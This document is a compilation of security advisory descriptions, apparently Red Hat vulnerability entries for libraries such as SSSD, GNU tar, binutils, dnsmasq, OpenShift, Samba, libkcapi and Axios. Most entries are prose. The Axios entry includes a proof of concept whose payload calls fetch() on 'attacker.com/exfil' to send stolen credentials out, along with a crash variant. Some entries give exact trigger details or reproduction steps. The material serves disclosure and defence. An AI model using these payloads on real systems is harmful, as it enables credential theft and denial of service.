A flaw was found in libdm. A local attacker could craft a malicious Logical Volume Manager (LVM) metadata configuration with deeply nested structures. This could lead to uncontrolled recursion in the libdm configuration file parser, exhausting the stack and causing any LVM command reading the metadata to crash. This vulnerability results in a Denial of Service (DoS) for affected systems.

A flaw was found in GNU tar. The --one-top-level option is intended to confine extraction under a designated directory, but hardlink targets from the archive are not confined the same way and are resolved relative to the extraction working directory (or the directory given with -C). A crafted archive can create hardlinks inside the --one-top-level directory that point to files outside it. If a suitable symbolic link already exists under the extraction working directory, hardlinking to that symlink can bypass tar's usual symlink-based path protections and allow writing outside the intended top-level directory during a single extraction. Users who rely on --one-top-level as a security boundary when extracting untrusted archives may be affected.

A flaw was found in SSSD. The sssnssprotocolparseaddr() function in the NSS responder (src/responder/nss/nssprotocol.c) extracts a 32-bit addrlen value from the client request but only validates that the body is at least 8 bytes, without checking that addrlen fits within the remaining packet body. This unvalidated length is passed through to tallocmemdup() in cachereqdatacreate(), which copies addrlen bytes from the small request buffer, causing a heap-buffer-overflow read. A local attacker can trigger this by connecting to the world-writable NSS responder socket (/var/lib/sss/pipes/nss) and sending a SSSNSSGETHOSTBYADDR (0x0053) request with a large addrlen value and a valid address family payload so that inetntop() succeeds. Successful exploitation crashes the sssdnss responder, causing a denial of service for NSS name resolution. Reported via PSIRTSUPT-20553 by BreachX Zero Day Labs.

A flaw was found in SSSD. The sssnssprotocolfillinitgr() function in the NSS responder (src/responder/nss/nssprotocolgrent.c) pre-allocates the reply packet for all group entries using ssspacketgrow() but does not shrink the packet when groups are skipped (non-POSIX, incomplete, or filtered groups). ssspacketgrow() uses tallocreallocsize(), which does not zero-fill newly allocated memory. The trailing unwritten bytes therefore contain uninitialized heap data from the sssdnss process and are transmitted to the client at the grown packet length. A local attacker can exploit this by sending SSSNSSINITGR (0x0026) requests to the world-writable NSS responder socket (/var/lib/sss/pipes/nss), receiving uninitialized heap content in the reply tail. Through heap grooming (for example, a preceding getpwnam query), the leak can disclose other users' cached directory records and process heap pointers. The leaked data is limited to the sssdnss heap (directory-level information); credentials reside in separate sssdpam and sssdbe processes. Reported via PSIRTSUPT-20553 by BreachX Zero Day Labs.

A flaw was found in SSSD. The extractauthtokv1() function in the PAM responder (src/responder/pam/pamsrvcmd.c) reads a 32-bit authtokenlength from the client request but does not validate it against the remaining buffer size before passing it to sssauthtoksetpassword(). When sssauthtoksetstring() processes the token, it accesses str[len-1] using the unvalidated length, resulting in a heap-buffer-overflow read. A local attacker can trigger this by connecting to the world-writable PAM responder socket (/var/lib/sss/pipes/pam) and sending a crafted protocol v1 authentication request with an oversized authtokenlength value. The stock PAM client uses protocol v3, so this is only reachable via raw socket access. Protocol v2 includes an equivalent bounds check (c+datasize > blen), which is missing from v1. Successful exploitation crashes the sssdpam responder, causing a denial of service for SSSD-mediated authentication. Reported via PSIRTSUPT-20553 by BreachX Zero Day Labs.

A TOCTOU (Time-of-Check Time-of-Use) vulnerability in GNU tar's incremental dumpdir 'X' rename handling allows a local attacker with write access to a directory being backed up to influence the restore process if the attacker has access to the system where the restore is being performed. During restoration, files or directories may be created, renamed or overwritten outside the intended extraction directory. This could lead to unauthorized file modification or, in some cases, privilege escalation. Exploitation does not require the attacker to modify or craft the archive, and standard backup and restore workflows—including extracting into a newly created directory without using the -P option do not mitigate the issue.

This is a vulnerability report sent to us through https://issues.redhat.com/browse/PSIRTSUPT-17918 and was created using the PoC auto-triage agents. It contains hints on the vulnerability extracted by the IA and the full report. ALWAYS review it before any action. Once working on this, don't forget to also update the JSM ticket.

Multiple Use-After-Free vulnerabilities were found in the addarchiveelement function in ld/ldmain.c of the GNU linker (ld), a component of binutils. The root cause is that pluginmaybeclaim() in ld/plugin.c frees the original BFD object via bfdclose/bfddeletebfd when entry->thebfd->myarchive == NULL, but the caller retains both the original abfd parameter and a shallow copy (originput.thebfd) as dangling pointers. These dangling pointers are subsequently dereferenced at three distinct locations in addarchiveelement:

1. Line ~1442: accessing abfd->myarchive via bfdusrdata(abfd->myarchive) 2. Line ~1493: multiple accesses to abfd and abfd->myarchive in a conditional check and bfdgetfilename call 3. Line ~1525: dereferencing the shallow copy originput.thebfd->myarchive in trace/verbose logging

The vulnerability is triggered when LTO plugins are active (linkinfo.ltopluginactive is true) and the input object has abfd->myarchive == NULL, which is a valid state for standalone object files. Red Hat builds binutils with --enable-plugins and --enable-lto, confirming the vulnerable code path is compiled in and reachable.

An attacker who can supply a crafted object or archive file to a build process using LTO-enabled linking could exploit this flaw to cause a denial of service (linker crash via segmentation fault). Arbitrary code execution is theoretically possible through heap manipulation but is substantially mitigated by hardening measures including stack protector, FORTIFYSOURCE, ASLR, and PIE.

The attack surface is limited to build-time environments — the linker is a development tool not exposed in production runtime. The most realistic exploitation scenario is a supply chain attack introducing a crafted object file as a build dependency in CI/CD pipelines or development environments.

A flaw was found in p11-kit. The RPC message attribute parsing functions p11rpcmessagegetattribute() and p11rpcmessagegetattributearrayvalue() form a mutually-recursive call chain with no recursion depth limit when processing nested CKAWRAPTEMPLATE, CKAUNWRAPTEMPLATE, and CKADERIVETEMPLATE attributes. An unauthenticated attacker with local access to the p11-kit RPC Unix domain socket can send a specially crafted request with deeply nested template attributes, causing stack exhaustion and crashing the p11-kit server process and its dependent services.

A flaw was found in the libblkid library of util-linux. During nested partition probing, the BSD, Minix, Solaris x86, and UnixWare partition probers cache a raw pointer to a parent partition entry in a dynamically allocated array. When subsequent partition additions cause the array to be reallocated, this pointer becomes stale, leading to a heap use-after-free read. An attacker who can present a crafted block device image (for example, via USB insertion or a loop-mounted disk image) can trigger this flaw without user interaction, as libblkid is invoked automatically by udev/udisks as root on block-device hot-plug events. This could lead to limited information disclosure or denial of service.

A heap buffer overflow exists in dnsmasq's logquery() function (src/cache.c). When query logging is enabled and dnsmasq logs DS or DNSKEY replies containing unsupported algorithm or digest types, the "(not supported)" suffix causes sprintf() to write past the end of daemon->addrbuff, a 46-byte heap buffer. Trigger example: a DS record with keytag=65535, algorithm=255, digesttype=255 (both algorithm 255 and digesttype 255 are IANA-unassigned), causing the "(not supported)" branch in dnssec.c to fire during logging. Prerequisites: - DNSSEC validation enabled - Query logging enabled (e.g. --log-queries) Impact: bounded heap write overflow (~12 bytes). Upstream maintainer Simon Kelley notes the overwrite is of bounded length, the bytes written are not attacker-controlled, and this is not considered a likely remote-execution vector. Practical impact is denial of service via process crash or heap corruption. Fixed upstream in commit 36d081e37477027fd721fea498f3760f529034ad (dnsmasq 2.92rel2).

A flaw was found in the Windows Machine Config Operator (WMCO) for Red Hat OpenShift Container Platform. WMCO establishes SSH connections to Windows worker nodes without verifying the remote server host key. An adjacent-network attacker who can intercept or redirect WMCO's SSH session can capture WICD and kubelet bootstrap credentials transferred during node configuration, enabling compromise of Windows node identities in the cluster.

A flaw was found in the Windows Machine Config Operator (WMCO) for Red Hat OpenShift Container Platform. The WICD CSR auto-approver validates that a Certificate Signing Request contains the organization system:wicd-nodes but does not reject additional organization values such as system:masters. A compromised Windows worker node that holds WICD credentials can submit a CSR that is auto-approved and signed by the cluster, yielding a client certificate that grants cluster-administrator privileges and enabling full cluster takeover.

A flow has been identified into dnssec.c library, causing an infinite loop to dnsmasq service. An attacker who controls any DNSSEC-signed zone can hang the dnsmasq process with a single crafted response, killing all DNS resolution for its clients.

A flaw was found in OpenShift Container Platform. Completed pods with restartPolicy: Never do not count toward ResourceQuota pod limits, and Kubernetes events are not quota-scoped. A non-privileged user who can create pods in a namespace can exploit this to generate a large volume of events that accumulate in etcd, causing API server performance degradation across the cluster.

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack js import http from 'http'; import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });

return { hijacked: true }; }

return true; };

try { const { port } = server.address();

const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });

console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;

server.close(); }

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check };

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } });

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! });

The polluted function then executes at transformData.js:21:

javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{ "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" }

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} After malicious transform: true Response tampered: true

Step 4 - Exfiltrated data: Original response data: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

- Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions - This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } }

Additionally, validate that transformResponse contains only functions before execution:

javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERRBADOPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); });

Resources

- CWE-1321: Prototype Pollution - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository - Snyk: Prototype Pollution

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>

A flaw was found in the OpenShift Router. A user with EndpointSlice write access can exploit this vulnerability by creating a Service backed by an FQDN (Fully Qualified Domain Name) EndpointSlice that resolves to a cloud metadata endpoint. This allows the router to proxy requests to the cloud metadata endpoint, leading to the disclosure of instance credentials and other sensitive metadata. This bypasses previous security measures for validating IP addresses.

A flaw was found in the OpenShift Router. When a Route has insecureEdgeTerminationPolicy set to Allow, the HTTP frontend does not remove X-SSL-Client- headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted X-SSL-Client- headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.

A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the "check password script" feature. If this script is configured with the %u substitution character, the client-controlled username is passed without proper escaping of shell meta-characters. This vulnerability allows an attacker to achieve remote command execution on the affected system. This issue primarily affects non-standard configurations where the "check password script" is used with %u and the samba-dcerpcd service is started as a system service.

A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.

A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.

A flaw was found in the OpenShift Container Platform build system. A user with the edit ClusterRole can inject arbitrary environment variables, such as LDPRELOAD or httpproxy, into docker-build containers through the buildconfigs/instantiate API. This incomplete fix for a previous vulnerability allows for information disclosure, specifically impacting the confidentiality of build traffic.

A flaw was found in libkcapi. A local attacker can influence an application that uses the Asynchronous Input/Output (AIO) interface. By reusing an AIO-enabled handle after a prior completion error, the kcapiaioreadall() function can enter a non-terminating wait loop. This can lead to a persistent denial of service, making the affected application or thread unresponsive.

A flaw was found in OpenSSH. A malicious SSH server can exploit a double free vulnerability in the Diffie-Hellman Group Exchange (DH-GEX) client path. This occurs during FIPS (Federal Information Processing Standards) mode known-group validation when the client processes attacker-controlled DH-GEX group parameters. Successful exploitation leads to client-side process termination, resulting in a Denial of Service (DoS).

AIONLYREPORT package: libkcapi-1.5.0-3.el10 ------ Summary: Memory Corruption via Uncanceled AIO Requests on Error: libkcapi's one-shot AIO path can return an error before all submitted IOCBs are drained, allowing later kernel writes into caller-owned output buffers. Requirements to exploit: A consumer must use the one-shot AIO interfaces with KCAPIINITAIO so the real AIO backend is active, hit an error after one or more IOCBs have been submitted or completed, and then free or reuse the referenced outiov buffers before all kernel completions finish. Component affected: libkcapi-1.5.0-3.el10, lib/kcapi-kernel-if.c, kcapiaioreadall(), kcapiaioreadiov(), kcapiciphercryptaio() in the one-shot AIO path Version affected: libkcapi-1.5.0-3.el10 when the handle is initialized with KCAPIINITAIO and libkcapi enables its real kernel AIO backend Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Unknown. CVSS: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H - 6.8 (MEDIUM) AV:L - exploitation is local to the process using libkcapi. AC:L - once the real AIO path is active, the unsafe behavior is reached directly through documented error paths after request submission. PR:N - no elevated privileges are required beyond the ability to exercise the affected API in the local process. UI:N - no separate user interaction is required. S:U - the impact stays within the security scope of the calling process. C:L - late writes into reused buffers can expose limited process data. I:L - late kernel writes can alter caller memory after the library has reported failure. A:H - heap corruption or process termination is a realistic outcome. Impact: Moderate. This flaw can cause real process memory corruption, but it depends on an opt-in AIO configuration, kernel AIO availability, and an error path after submission rather than a default or easily reachable execution path. Under Red Hat's severity guidance, that is more consistent with Moderate impact than Important or Critical. Embargo: no Reason: the issue is local and configuration-dependent, requires explicit AIO use plus an error-path trigger, and does not present a straightforward remote compromise scenario. Acknowledgement: Aisle Research Vulnerability Details: In the affected one-shot AIO path, libkcapi can return failure before all submitted kernel requests are drained. kcapiaioreadall() returns immediately on the first negative completion result, and kcapiaioreadiov() returns immediately on a short iosubmit() result even if some IOCBs were already submitted. kcapiciphercryptaio() then propagates that error directly to the caller. If the caller treats the operation as failed and promptly frees or reuses outiov[].iovbase, later kernel completions may still write into those buffers. c if (events[i].res < 0) { handle->aio.iocbret[events[i].data] = events[i].res; return (int)events[i].res; } ... ret = iosubmit(handle->aio.aioctx, (long)iovlen, handle->aio.ciopp); if ((uint32t)ret != iovlen) { if (ret < 0) { ret = -errno; kcapidolog(KCAPILOGERR, "ioread Error: %d\n", ret); return ret; } else { kcapidolog(KCAPILOGERR, "Could not sumbit AIO read\n"); return -EIO; } } c ret = kcapiaioreadiov(handle, outiov, process); if (ret < 0) return ret; The issue is not established for the default synchronous path. Reachability depends on the caller enabling KCAPIINITAIO so libkcapi uses the real kernel AIO backend. Steps to reproduce: 1. Build an ASAN-enabled harness that calls kcapicipherencryptaio() or kcapiaeaddecryptaio() with multiple output iovec entries. 2. Initialize the handle with KCAPIINITAIO so the real AIO path is active. 3. Force a deterministic short-submit path with an LDPRELOAD wrapper around syscall(NRiosubmit, ...) that returns 0 < ret < iovlen after forwarding only the first N IOCBs. 4. Optionally fault-inject iogetevents() so one returned event has res < 0 before all completions are consumed. 5. When the API returns an error, immediately free or reallocate the outiov[].iovbase buffers. 6. Observe delayed writes into freed or reused memory, for example as an ASAN use-after-free, heap corruption, or a canary mismatch. Mitigation: Until a fix is available, avoid initializing affected handles with KCAPIINITAIO and prefer the synchronous interfaces. If the real AIO path must remain enabled, applications should not immediately free or reuse outiov buffers after an error return. Proposed Fix: Drain all submitted requests before returning an error. A minimal approach is to record the first completion error, continue draining outstanding completions, and drain any successfully submitted subset after a short iosubmit() result. diff diff --git a/lib/kcapi-kernel-if.c b/lib/kcapi-kernel-if.c — a/lib/kcapi-kernel-if.c +++ b/lib/kcapi-kernel-if.c @@ -420,6 +420,7 @@ int kcapiaioreadall(struct kcapihandle handle, sizet toread, struct timespec timeout) { + int firsterr = 0; if (toread > KCAPIAIOCONCURRENT) return -EINVAL; @@ -440,8 +441,10 @@ int kcapiaioreadall(struct kcapihandle handle, sizet toread, if (events[i].res < 0) { handle->aio.iocbret[events[i].data] = events[i].res; - return (int)events[i].res; + if (!firsterr) + firsterr = (int)events[i].res; + continue; } @@ -467,7 +470,7 @@ int kcapiaioreadall(struct kcapihandle handle, sizet toread, toread -= (uint32t)rc; } - return 0; + return firsterr; } @@ -534,15 +537,20 @@ int kcapiaioreadiov(struct kcapihandle handle, ret = iosubmit(handle->aio.aioctx, (long)iovlen, handle->aio.ciopp); if ((uint32t)ret != iovlen) { + sizet submitted = (ret > 0) ? (sizet)ret : 0; + int submiterr = (ret < 0) ? -errno : -EIO; if (ret < 0) { - ret = -errno; kcapidolog(KCAPILOGERR, "ioread Error: %d\n", ret); - return ret; } else { kcapidolog(KCAPILOGERR, "Could not sumbit AIO read\n"); - return -EIO; } + if (submitted) { + int drain = kcapiaioreadall(handle, submitted, NULL); + if (submiterr == 0 && drain < 0) + submiterr = drain; + } + return submiterr; } (Equivalent fix using iocancel + confirmed drain is also acceptable.) ------ This report was generated using AI technology. Always review AI-generated content prior to use

A flaw was found in libkcapi. When performing one-shot symmetric cipher operations on large inputs (over 64 KiB) in stateful modes such as Counter (CTR) or Cipher Block Chaining (CBC), the library improperly reuses the Initialization Vector (IV) for each internal data chunk. A remote attacker could potentially exploit this by making an application that uses libkcapi process specially crafted large inputs. This can lead to a significant weakening of data confidentiality, as the repeated IV use can expose relationships in encrypted plaintext, and may also affect data integrity by causing incorrect cryptographic processing.

A flaw was found in libxml2. This vulnerability occurs when the library processes a specially crafted XML Schema Definition (XSD) validated document that includes an internal entity reference. An attacker could exploit this by providing a malicious document, leading to a type confusion error that causes the application to crash. This results in a denial of service (DoS), making the affected system or application unavailable.

crypto: algifaead - Revert to operating out-of-place

A flaw was found in libsolv. This heap buffer overflow occurs during the decompression of attacker-controlled compressed data within .solv files due to insufficient input validation. An attacker can provide a specially crafted .solv file, which, when processed by a vulnerable application, can lead to out-of-bounds memory access. This could result in information disclosure, alteration of program execution, or a denial of service.

A flaw was found in libsolv. This heap buffer overflow vulnerability occurs when a victim processes a specially crafted .solv file containing negative size values in the repoaddsolv function. This leads to an undersized memory allocation and a subsequent out-of-bounds write. An attacker could exploit this to cause a denial of service (DoS).

A flaw was found in libsolv. This stack-based buffer overflow vulnerability occurs in libsolv's Debian metadata parser when processing specially crafted Debian repository metadata. An attacker could exploit this by providing malicious SHA384 or SHA512 checksum tags, leading to memory corruption and a denial of service (DoS) in the affected system.